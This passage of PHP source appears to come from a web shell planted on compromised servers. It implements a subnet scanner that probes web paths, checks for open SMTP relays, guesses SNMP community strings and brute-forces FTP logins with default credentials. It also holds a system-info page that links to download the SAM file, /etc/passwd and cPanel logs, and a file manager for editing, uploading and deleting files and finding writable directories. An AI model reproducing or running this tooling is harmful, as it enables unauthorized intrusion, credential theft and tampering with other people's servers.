  465. if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
  466. flusheR();
  467. }
  468. elseif(strstr($page,'@ADMINDIRS'))
  469. foreach ($admin as $cg){
  470. $adminch=str_replace('@ADMINDIRS',$cg,$page);
  471. $url="http://$ip$adminch";
  472. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  473. if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
  474. flusheR();
  475. }
  476. elseif(strstr($page,'@USERS'))
  477. foreach ($users as $cg){
  478. $userch=str_replace('@USERS',$cg,$page);
  479. $url="http://$ip$userch";
  480. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  481. if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
  482. flusheR();
  483. }
  484. elseif(strstr($page,'@NUKE'))
  485. foreach ($nuke as $cg){
  486. $nukech=str_replace('@NUKE',$cg,$page);
  487. $url="http://$ip$nukech";
  488. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  489. if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
  490. flusheR();
  491. }
  492. else{
  493. $url="http://$ip$page";
  494. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  495. if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";}
  496. flusheR();
  497. }
  498. }
  499. }
  500. }
  501. if(!empty($_REQUEST['smtprelay'])){
  502. if(checkthisporT($ip,25,$timeout)){
  503. $res='';
  504. $res=checksmtP($ip,$timeout);
  505. if($res==1){echo "$ip) SMTP relay found.<br>";$output=1;}flusheR();
  506. }
  507. }
  508. if(!empty($_REQUEST['snmpscanner'])){
  509. if(checkthisporT($ip,161,$timeout,1)){
  510. $com=$_REQUEST['com'];
  511. $coms=$res="";
  512. if(strstr($com,","))$c=explode(",",$com);else $c[0]=$com;
  513. foreach ($c as $v){
  514. $ret=snmpchecK($ip,$v,$timeout);
  515. if($ret)$coms .=" $v ";
  516. }
  517. if ($coms!=""){echo "$ip) SNMP FOUND: $coms<br>";$output=1;}
  518. flusheR();
  519. }
  520. }
  521. if(!empty($_REQUEST['ftpscanner'])){
  522. if(checkthisporT($ip,21,$timeout)){
  523. $usps=explode(',',$_REQUEST['userpass']);
  524. foreach ($usps as $v){
  525. $user=substr($v,0,strpos($v,':'));
  526. $pass=substr($v,strpos($v,':')+1);
  527. if($pass=='[BLANK]')$pass='';
  528. $ftp=@ftp_connect($ip,21,$timeout);
  529. if ($ftp){
  530. if(@ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) <a href=\"ftp://$ip\" target=\"_blank\">$ip</a> System type: ".ftp_systype($ftp)."<br>";}
  531. }
  532. flusheR();
  533. }
  534. }
  535. }
  536. if($output)echo "<hr size=1 noshade>";
  537. flusheR();
  538. }
  539. $time=time()-$start;
  540. echo "Done! ($time seconds)</font>";
  541. if(!empty($buglist))unlink($buglist);
  542. }
  543. else{
  544. $chbox=(extension_loaded('sockets'))?"<input type=checkbox name=tcp value=1 checked>TCP<input type=checkbox name=udp value=1 checked>UDP":"<input type=hidden name=tcp value=1>";
  545. echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\"><td>Port scanner:</td></tr><td width=\"25%\" bgcolor=\"#808080\">Target:</td><td bgcolor=\"#808080\" width=80%><input name=target value=$host size=40></td></tr><tr><td bgcolor=\"#666666\" width=25%>From:</td><td bgcolor=\"#666666\" width=25%><input name=fromport type=text value=\"1\" size=5></td></tr><tr><td bgcolor=\"#808080\" width=25%>To:</td><td bgcolor=\"#808080\" width=25%><input name=toport type=text value=\"1024\" size=5></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Timeout:</td><td bgcolor=\"#666666\"><input name=timeout type=text value=\"2\" size=5></td><tr><td width=\"25%\" bgcolor=\"#808080\">$chbox</td><td bgcolor=\"#808080\" align=\"right\">$hcwd<input type=submit class=buttons name=portscanner value=Scan></td></tr></form></table>";
  546. $host = substr($host,0,strrpos($host,"."));
  547. echo "<br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\" name=security><td>security scanner:</td></tr><td width=\"25%\" bgcolor=\"#808080\">From:</td><td bgcolor=\"#808080\" width=80%><input name=from value=$host.1 size=40> <input type=checkbox value=1 style=\"border-width:1px;background-color:#808080;\" name=nslookup checked>NS lookup</td></tr><tr><td bgcolor=\"#666666\" width=25%>To:</td><td bgcolor=\"#666666\" width=25%>xxx.xxx.xxx.<input name=to type=text value=254 size=4>$hcwd</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Timeout:</td><td bgcolor=\"#808080\"><input name=timeout type=text value=\"2\" size=5></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"><input type=checkbox name=ipscanner value=1 checked onClick=\"document.security.port.disabled = !document.security.port.disabled;\" style=\"border-width:1px;background-color:#666666;\">Port scanner:</td><td bgcolor=\"#666666\"><input name=port type=text value=\"21,23,25,80,110,135,139,143,443,445,1433,3306,3389,8080,65301\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#808080\"><input type=checkbox name=httpbanner value=1 checked style=\"border-width:1px;background-color:#808080;\">Get web banner</td><td bgcolor=\"#808080\"><input type=checkbox name=httpscanner value=1 checked style=\"border-width:1px;background-color:#808080;\">Webserver security scanning&nbsp;&nbsp;&nbsp;<input type=checkbox name=smtprelay value=1 checked style=\"border-width:1px;background-color:#808080;\">SMTP relay check</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"><input type=checkbox name=ftpscanner value=1 checked onClick=\"document.security.userpass.disabled = !document.security.userpass.disabled;\" style=\"border-width:1px;background-color:#666666;\">FTP password:</td><td bgcolor=\"#666666\"><input name=userpass type=text value=\"anonymous:admin@nasa.gov,ftp:ftp,Administrator:[BLANK],guest:[BLANK]\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#808080\"><input type=checkbox name=snmpscanner value=1 onClick=\"document.security.com.disabled = !document.security.com.disabled;\" checked style=\"border-width:1px;background-color:#808080;\">SNMP:</td><td bgcolor=\"#808080\"><input name=com type=text value=\"public,private,secret,cisco,write,test,guest,ilmi,ILMI,password,all private,admin,all,system,monitor,agent,manager,OrigEquipMfr,default,tivoli,openview,community,snmp,snmpd,Secret C0de,security,rmon,rmon_admin,hp_admin,NoGaH$@!,agent_steal,freekevin,0392a0,cable-docsis,fubar,ANYCOM,Cisco router,xyzzy,c,cc,cascade,yellow,blue,internal,comcomcom,apc,TENmanUFactOryPOWER,proxy,core,regional\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=\"right\"><input type=submit class=buttons name=securityscanner value=Scan></td></tr></form></table></center><br><center>";
  548. }
  549. }
  550. function sysinfO(){
  551. global $windows,$disablefunctions,$safemode;
  552. $cwd= getcwd();
  553. $mil="<a target=\"_blank\" href=\"http://www.milw0rm.org/related.php?program=";
  554. $basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF";
  555. if (!empty($_SERVER["PROCESSOR_IDENTIFIER"])) $CPU = $_SERVER["PROCESSOR_IDENTIFIER"];
  556. $osver=$tsize=$fsize='';
  557. if ($windows){
  558. $osver = " (".shelL("ver").")";
  559. $sysroot = shelL("echo %systemroot%");
  560. if (empty($sysroot)) $sysroot = $_SERVER["SystemRoot"];
  561. if (empty($sysroot)) $sysroot = getenv("windir");
  562. if (empty($sysroot)) $sysroot = "Not Found";
  563. if (empty($CPU))$CPU = shelL("echo %PROCESSOR_IDENTIFIER%");
  564. for ($i=66;$i<=90;$i++){
  565. $drive= chr($i).':\\';
  566. if (is_dir($drive)){
  567. $fsize+=@disk_free_space($drive);
  568. $tsize+=@disk_total_space($drive);
  569. }
  570. }
  571. }else{
  572. $fsize=disk_free_space('/');
  573. $tsize=disk_total_space('/');
  574. }
  575. $disksize="Used spase: ". showsizE($tsize-$fsize) . " Free space: ". showsizE($fsize) . " Total space: ". showsizE($tsize);
  576. if (empty($CPU)) $CPU = "Unknow";
  577. $os = php_unamE();
  578. $osn=php_unamE('s');
  579. if(!$windows){
  580. $ker = php_unamE('r');
  581. $o=($osn=="Linux")?"Linux+Kernel":$osn;
  582. $os = str_replace($osn,"${mil}$o\">$osn</a>",$os);
  583. $os = str_replace($ker,"${mil}Linux+Kernel\">$ker</a>",$os);
  584. $inpa=':';
  585. }else{
  586. $sam = $sysroot."\\system32\\config\\SAM";
  587. $inpa=';';
  588. $os = str_replace($osn,"${mil}MS+Windows\">$osn</a>",$os);
  589. }
  590. $software=str_replace("Apache","${mil}Apache\">Apache</a>",$_SERVER['SERVER_SOFTWARE']);
  591. echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td>Server information:</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\">".$_SERVER["HTTP_HOST"]; if (!empty($_SERVER["SERVER_ADDR"])){ echo "(". $_SERVER["SERVER_ADDR"] .")";}echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Operation system:</td><td bgcolor=\"#808080\">$os$osver</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Web server application:</td><td bgcolor=\"#666666\">$software</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">CPU:</td><td bgcolor=\"#808080\">$CPU</td></tr><td width=\"25%\" bgcolor=\"#666666\">Disk status:</td><td bgcolor=\"#666666\">$disksize</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">User domain:</td><td bgcolor=\"#808080\">";if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];else echo "Unknow"; echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">User name:</td><td bgcolor=\"#666666\">";$cuser=get_current_user();if (!empty($cuser)) echo get_current_user();else echo "Unknow"; echo "</td></tr>";
  592. if ($windows){
  593. echo "<tr><td width=\"25%\" bgcolor=\"#808080\">Windows directory:</td><td bgcolor=\"#808080\"><a href=\"".hlinK("seC=fm&workingdiR=$sysroot")."\">$sysroot</a></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Sam file:</td><td bgcolor=\"#666666\">";if (is_readable(($sam)))echo "<a href=\"".hlinK("?workingdiR=$sysroot\\system32\\config&downloaD=sam")."\">Readable</a>"; else echo "Not readable";echo "</td></tr>";
  594. }
  595. else
  596. {
  597. echo "<tr><td width=\"25%\" bgcolor=\"#808080\">Passwd file:</td><td bgcolor=\"#808080\">";
  598. if (is_readable('/etc/passwd')) echo "<a href=\"".hlinK("seC=edit&filE=/etc/passwd&workingdiR=$cwd")."\">Readable</a>"; else echo'Not readable';echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Cpanel log file:</td><td bgcolor=\"#666666\">";
  599. if (file_exists("/var/cpanel/accounting.log")){if (is_readable("/var/cpanel/accounting.log")) echo "<a href=\"".hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR=$cwd")."\">Readable</a>"; else echo "Not readable";}else echo "Not found";
  600. echo "</td></tr>";
  601. }
  602. $uip =(!empty($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:getenv('REMOTE_ADDR');
  603. echo "<tr><td width=\"25%\" bgcolor=\"#808080\">${mil}PHP\">PHP</a> version:</td><td bgcolor=\"#808080\"><a href=\"?=".php_logo_guid()."\" target=\"_blank\">".PHP_VERSION."</a> (<a href=\"".hlinK("seC=phpinfo&workingdiR=$cwd")."\">more...</a>)</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Zend version:</td><td bgcolor=\"#666666\">";if (function_exists('zend_version')) echo "<a href=\"?=".zend_logo_guid()."\" target=\"_blank\">".zend_version()."</a>";else echo "Not Found";echo "</td><tr><td width=\"25%\" bgcolor=\"#808080\">Include path:</td><td bgcolor=\"#808080\">".str_replace($inpa," ",DEFAULT_INCLUDE_PATH)."</td><tr><td width=\"25%\" bgcolor=\"#666666\">PHP Modules:</td><td bgcolor=\"#666666\">";$ext=get_loaded_extensions();foreach($ext as $v)echo $v." ";echo "</td><tr><td width=\"25%\" bgcolor=\"#808080\">Disabled functions:</td><td bgcolor=\"#808080\">";if(!empty($disablefunctions))echo $disablefunctions;else echo "Nothing"; echo"</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Safe mode:</td><td bgcolor=\"#666666\">$safemode</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Open base dir:</td><td bgcolor=\"#808080\">$basedir</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">DBMS:</td><td bgcolor=\"#666666\">";$sq="";if(function_exists('mysql_connect')) $sq= "${mil}MySQL\">MySQL</a> ";if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL\">MSSQL</a> ";if(function_exists('ora_logon')) $sq.= " ${mil}Oracle\">Oracle</a> ";if(function_exists('sqlite_open')) $sq.= " SQLite ";if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL\">PostgreSQL</a> ";if(function_exists('msql_connect')) $sq.= " mSQL ";if(function_exists('mysqli_connect'))$sq.= " MySQLi ";if(function_exists('ovrimos_connect')) $sq.= " Ovrimos SQL ";if ($sq=="") $sq= "Nothing"; echo "$sq</td></tr>";if (function_exists('curl_init')) echo "<tr><td width=\"25%\" bgcolor=\"#808080\">cURL support:</td><td bgcolor=\"#808080\">Enabled ";if(function_exists('curl_version')){$ver=curl_version();echo "(Version:". $ver['version']." OpenSSL version:". $ver['ssl_version']." zlib version:". $ver['libz_version']." host:". $ver['host'] .")";}echo "</td></tr>";echo "<tr><td>User information:</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">IP:</td><td bgcolor=\"#666666\">$uip</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Agent:</td><td bgcolor=\"#808080\">".getenv('HTTP_USER_AGENT')."</td></tr></table>";
  604. }
  605. function checksuM($file){
  606. global $et;
  607. echo "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td width=\"10%\" bgcolor=\"#666666\"><b>MD5:</b> <font color=#F0F0F0>".md5_file($file)."</font><br><b>SHA1:</b> <font color=#F0F0F0>".sha1_file($file)."</font>$et";
  608. }
  609. function listdiR($cwd,$task){
  610. $c= getcwd();
  611. $dh = opendir($cwd);
  612. while ($cont=readdir($dh)){
  613. if($cont=='.' || $cont=='..')continue;
  614. $adr = $cwd.DIRECTORY_SEPARATOR.$cont;
  615. switch ($task){
  616. case '0':if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";break;
  617. case '1':if(is_writeable($adr))if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";break;
  618. case '2':if(is_file($adr) && is_writeable($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";break;
  619. case '3':if(is_dir($adr) && is_writeable($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";break;
  620. case '4':if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";break;
  621. case '5':if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";break;
  622. case '6':if(preg_match("@".$_REQUEST['search']."@",$cont)){if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";}break;
  623. case '7':if(strstr($cont,$_REQUEST['search'])){if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";}break;
  624. }
  625. if (is_dir($adr)) listdiR($adr,$_REQUEST['task']);
  626. }
  627. }
  628. if (!function_exists("posix_getpwuid") && !strstr($disablefunctions,'posix_getpwuid')) {function posix_getpwuid($u) {return 0;}}
  629. if (!function_exists("posix_getgrgid") && !strstr($disablefunctions,'posix_getgrgid')) {function posix_getgrgid($g) {return 0;}}
  630. function filemanager(){
  631. global $windows,$msgbox,$errorbox,$t,$et,$hcwd;
  632. $cwd= getcwd();
  633. $table = "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\">";
  634. $td1n="<td width=\"22%\" bgcolor=\"#666666\">";
  635. $td2m="<td width=\"22%\" bgcolor=\"#808080\">";
  636. $td1i="<td width=\"5%\" bgcolor=\"#666666\">";
  637. $td2i="<td width=\"5%\" bgcolor=\"#808080\">";
  638. $tdnr="<td width=\"22%\" bgcolor=\"#800000\">";
  639. $tdw="<td width=\"22%\" bgcolor=\"#006E00\">";
  640. if (!empty($_REQUEST['task'])){
  641. if (!empty($_REQUEST['search'])) $_REQUEST['task'] = 7;
  642. if (!empty($_REQUEST['re'])) $_REQUEST['task'] = 6;
  643. echo "<font color=blue><pre>";
  644. listdiR($cwd,$_REQUEST['task']);
  645. echo "</pre></font>";
  646. }else{
  647. if (!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])|| !empty($_REQUEST['rN'])){
  648. if (!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])){
  649. $title="Destination";
  650. $ad = (!empty($_REQUEST['cP']))?$_REQUEST['cP']:$_REQUEST['mV'];
  651. $dis =(!empty($_REQUEST['cP']))?'Copy':'Move';
  652. }else{
  653. $ad = $_REQUEST['rN'];
  654. $title ="New name";
  655. $dis = "Rename";
  656. }
  657. if (!!empty($_REQUEST['deS'])){
  658. echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"100%\" bgcolor=\"#333333\">$title:</td></tr><tr>$td1n<form method=\"POST\"><input type=text value=\"";if(empty($_REQUEST['rN'])) echo $cwd; echo "\" size=60 name=deS></td></tr><tr>$td2m$hcwd<input type=hidden value=\"".htmlspecialchars($ad)."\" name=cp><input class=buttons type=submit value=$dis></td></tr></form></table></center>";
  659. }else{
  660. if (!empty($_REQUEST['rN'])) renamE($ad,$_REQUEST['deS']);
  661. else{
  662. copy($ad,$_REQUEST['deS']);
  663. if (!empty($_REQUEST['mV']))unlink($ad);
  664. }
  665. }
  666. }
  667. if (!empty($_REQUEST['deL'])) { if (is_file($_REQUEST['deL'])|| is_link($_REQUEST['deL'])) unlink($_REQUEST['deL']);elseif(is_dir($_REQUEST['deL'])) {
  668. $dh = opendir($_REQUEST['deL']);
  669. $d="";
  670. while ($cont=readdir($dh)){$d++;}
  671. if ($d>2) echo "$errorbox\"".htmlspecialchars($_REQUEST['del'])."\" is not empty!<td><tr></table><br>";else rmdir($_REQUEST['del']);}}
  672. if (!empty($_FILES['uploadfile'])){
  673. move_uploaded_file($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']);
  674. echo "$msgbox<b>Uploaded!</b> File name: ".$_FILES['uploadfile']['name']." File size: ".$_FILES['uploadfile']['size']. "$et<br>";
  675. }
  676. $select = "<select onChange=\"window.location=this.options[this.selectedIndex].value;\"><option value=\"".hlinK("seC=fm&workingdiR=$cwd")."\">--------</option><option value=\"";
  677. if (!empty($_REQUEST['newf'])){
  678. if (!empty($_REQUEST['newfile'])){file_put_contents($_REQUEST['newf'],"");}
  679. if (!empty($_REQUEST['newdir'])){mkdir($_REQUEST['newf']);}
  680. }
  681. if ($windows){
  682. echo "$table<td><b>Drives:</b> ";
  683. for ($i=66;$i<=90;$i++){$drive= chr($i).':';
  684. if (is_dir($drive."\\")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " <a title=\"$vol\" href=".hlinK("seC=fm&workingdiR=$drive\\").">$drive\\</a>";}
  685. }
  686. echo $et;
  687. }
  688. echo "$table<form method=\"POST\"><tr><td width=\"20%\"><b>Location:</b><input type=text name=workingdiR size=135 value=\"".getcwd()."\"><input class=buttons type=submit value=Change></td></tr></form></table>";
  689. $file=array();$dir=array();$link=array();
  690. if($dirhandle = opendir($cwd)){
  691. while ($cont=readdir($dirhandle)){
  692. if (is_dir($cwd.DIRECTORY_SEPARATOR.$cont)) $dir[]= $cont;
  693. elseif (is_file($cwd.DIRECTORY_SEPARATOR.$cont)) $file[]=$cont;
  694. else $link[]=$cont;
  695. }
  696. closedir($dirhandle);
  697. sort($file);sort($dir);sort($link);
  698. echo "<table border=1 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td width=\"30%\" bgcolor=\"#333333\" align=\"center\">Name</td><td width=\"13%\" bgcolor=\"#333333\" align=\"center\">Owner</td><td width=\"12%\" bgcolor=\"#333333\" align=\"center\">Modification time</td><td width=\"12%\" bgcolor=\"#333333\" align=\"center\">Last change</td><td width=\"5%\" bgcolor=\"#333333\" align=\"center\">Info</td><td width=\"7%\" bgcolor=\"#333333\" align=\"center\">Size</td><td width=\"15%\" bgcolor=\"#333333\" align=\"center\">Actions</td></tr>";
  699. $i=0;
  700. foreach($dir as $dn){
  701. echo "<tr>";
  702. $i++;
  703. $own="Unknow";
  704. $owner=posix_getpwuid(fileowner($dn));
  705. $mdate=date("Y/m/d H:i:s",filemtime($dn));
  706. $adate=date("Y/m/d H:i:s",fileatime($dn));
  707. $diraction = $select.hlinK("seC=fm&workingdiR=".realpath($dn))."\">Open</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&rN=$dn")."\">Rename</option><option value=\"".hlinK("seC=fm&deL=$dn&workingdiR=$cwd")."\">Remove</option></select></td>";
  708. if ($owner) $own = "<a title=\" Shell: ".$owner['shell']."\" href=\"".hlinK("seC=fm&workingdiR=".$owner['dir'])."\">".$owner['name']."</a>";
  709. if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
  710. if (is_writeable($dn)) echo $tdw;elseif (!is_readable($dn)) echo $tdnr;else echo $cl2;
  711. echo "<a href=\"".hlinK("seC=fm&workingdiR=".realpath($dn))."\">";
  712. if (strlen($dn)>45)echo substr($dn,0,42)."...";else echo $dn;echo "</a>";
  713. echo $cl1."$own</td>";
  714. echo $cl1."$mdate</td>";
  715. echo $cl1."$adate</td>";
  716. echo "</td>${cl1}D";if (is_readable($dn)) echo "R";if (is_writeable($dn)) echo "W";echo "</td>";
  717. echo "$cl1------</td>";
  718. echo $cl2.$diraction;
  719. echo "</tr>" ;
  720. flusheR();
  721. }
  722. foreach($file as $fn){
  723. echo "<tr>";
  724. $i++;
  725. $own = "Unknow";
  726. $owner = posix_getpwuid(fileowner($fn));
  727. $fileaction=$select.hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."\">Open</option><option value=\"".hlinK("seC=edit&filE=$fn&workingdiR=$cwd")."\">Edit</option><option value=\"".hlinK("seC=fm&downloaD=$fn&workingdiR=$cwd")."\">Download</option><option value=\"".hlinK("seC=hex&filE=$fn&workingdiR=$cwd")."\">Hex view</option><option value=\"".hlinK("seC=img&filE=$fn&workingdiR=$cwd")."\">image</option><option value=\"".hlinK("seC=inc&filE=$fn&workingdiR=$cwd")."\">Include</option><option value=\"".hlinK("seC=checksum&filE=$fn&workingdiR=$cwd")."\">Checksum</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&cP=$fn")."\">Copy</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&mV=$fn")."\">Move</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&rN=$fn")."\">Rename</option><option value=\"".hlinK("seC=fm&deL=$fn&workingdiR=$cwd")."\">Remove</option></select></td>";
  728. $mdate = date("Y/m/d H:i:s",filemtime($fn));
  729. $adate = date("Y/m/d H:i:s",fileatime($fn));
  730. if ($owner) $own = "<a title=\"Shell:".$owner['shell']."\" href=\"".hlinK("seC=fm&workingdiR=".$owner['dir'])."\">".$owner['name']."</a>";
  731. $size = showsizE(filesize($fn));
  732. if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
  733. if (is_writeable($fn)) echo $tdw;elseif (!is_readable($fn)) echo $tdnr;else echo $cl2;
  734. echo "<a href=\"".hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."\">";
  735. if (strlen($fn)>45)echo substr($fn,0,42)."...";else echo $fn;echo "</a>";
  736. echo $cl1."$own</td>";
  737. echo $cl1."$mdate</td>";
  738. echo $cl1."$adate</td>";
  739. echo "</td>$cl1";if (is_readable($fn)) echo "R";if (is_writeable($fn)) echo "W";if (is_executable($fn)) echo "X";if (is_uploaded_file($fn)) echo "U"; echo "</td>";
  740. echo "$cl1$size</td>";
  741. echo $td2m.$fileaction;
  742. echo "</tr>" ;
  743. flusheR();
  744. }
  745. foreach($link as $ln){
  746. $own = "Unknow";
  747. $i++;
  748. $owner = posix_getpwuid(fileowner($ln));
  749. $linkaction=$select.hlinK("seC=openit&namE=$ln&workingdiR=$ln")."\">Open</option><option value=\"".hlinK("seC=edit&filE=$ln&workingdiR=$cwd")."\">Edit</option><option value=\"".hlinK("seC=fm&downloaD=$ln&workingdiR=$cwd")."\">Download</option><option value=\"".hlinK("seC=hex&filE=$ln&workingdiR=$cwd")."\">Hex view</option><option value=\"".hlinK("seC=img&filE=$ln&workingdiR=$cwd")."\">image</option><option value=\"".hlinK("seC=inc&filE=$ln&workingdiR=$cwd")."\">Include</option><option value=\"".hlinK("seC=checksum&filE=$ln&workingdiR=$cwd")."\">Checksum</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&cP=$ln")."\">Copy</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&mV=$ln")."\">Move</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&rN=$ln")."\">Rename</option><option value=\"".hlinK("seC=fm&deL=$ln&workingdiR=$cwd")."\">Remove</option></select></td>";
  750. $mdate = date("Y/m/d H:i:s",filemtime($ln));
  751. $adate = date("Y/m/d H:i:s",fileatime($ln));
  752. if ($owner) $own = "<a title=\"Shell: ".$owner['shell']."\" href=\"".hlinK("seC=fm&workingdiR=".$owner['dir'])."\">".$owner['name']."</a>";
  753. echo "<tr>";
  754. $size = showsizE(filesize($ln));
  755. if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
  756. if (is_writeable($ln)) echo $tdw;elseif (!is_readable($ln)) echo $tdnr;else echo $cl2;
  757. echo "<a href=\"".hlinK("seC=openit&namE=$ln&workingdiR=$cwd")."\">";
  758. if (strlen($ln)>45)echo substr($ln,0,42)."...";else echo $ln;echo "</a>";
  759. echo $cl1."$own</td>";
  760. echo $cl1."$mdate</td>";
  761. echo $cl1."$adate</td>";
  762. echo "</td>${cl1}L";if (is_readable($ln)) echo "R";if (is_writeable($ln)) echo "W";if (is_executable($ln)) echo "X"; echo "</td>";
  763. echo "$cl1$size</td>";
  764. echo $cl2.$linkaction;
  765. echo "</tr>" ;
  766. flusheR();
  767. }
  768. }
  769. $dc = count($dir)-2;
  770. if($dc==-2)$dc=0;
  771. $fc = count($file);
  772. $lc = count($link);
  773. $total = $dc + $fc + $lc;
  774. echo "$table<tr><td><form method=POST>Find:<input type=text name=search><input type=checkbox name=re value=1 style=\"border-width:1px;background-color:#333333;\" checked>Regular expressions <input type=submit class=buttons value=Find>$hcwd<input type=hidden value=7 name=task></form></td><td><form method=POST>$hcwd<input type=hidden value=\"fm\" name=seC><select name=task><option value=0>Display files and directories in current folder</option><option value=1>Find writable files and directories in current folder</option><option value=2>Find writable files in current folder</option><option value=3>Find writable directories in current folder</option><option value=4>Display all files in current folder</option><option value=5>Display all directories in current folder</option></select><input type=submit class=buttons value=Do></form>$et</tr></table><table width=\"100%\"><tr><td width=\"50%\"><br><table bgcolor=#333333 border=0 width=\"65%\"><td><b>Summery:</b> Total: $total Directories: $dc Files: $fc Links: $lc</td></table><table bgcolor=#333333 border=0 width=\"65%\"><td width=\"100%\" bgcolor=";if (is_writeable($cwd)) echo "#006E00";elseif (!is_readable($cwd)) echo "#800000";else "#333333"; echo ">Current directory status: "; if (is_readable($cwd)) echo "R";if (is_writeable($cwd)) echo "W" ;echo "</td></table><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"65%\"><tr><td width=\"100%\" bgcolor=\"#333333\">New:</td></tr><tr>$td1n<form method=\"POST\"><input type=text size=47 name=newf></td></tr><tr>$td2m$hcwd<input class=buttons type=submit name=newfile value=\"File\"><input class=buttons type=submit name=newdir value=\"Folder\"></td></tr></form></table></td><td width=\"50%\"><br>${t}Upload:</td></tr><tr>$td1n<form method=\"POST\" enctype=\"multipart/form-data\"><input type=file size=45 name=uploadfile></td></tr><tr>$td2m$hcwd<input class=buttons type=submit value=Upload></td></tr>$td1n Note: Max allowed file size to upload on this server is ".ini_get('upload_max_filesize')."</td></tr></form></table>$et";
  775. }
  776. }
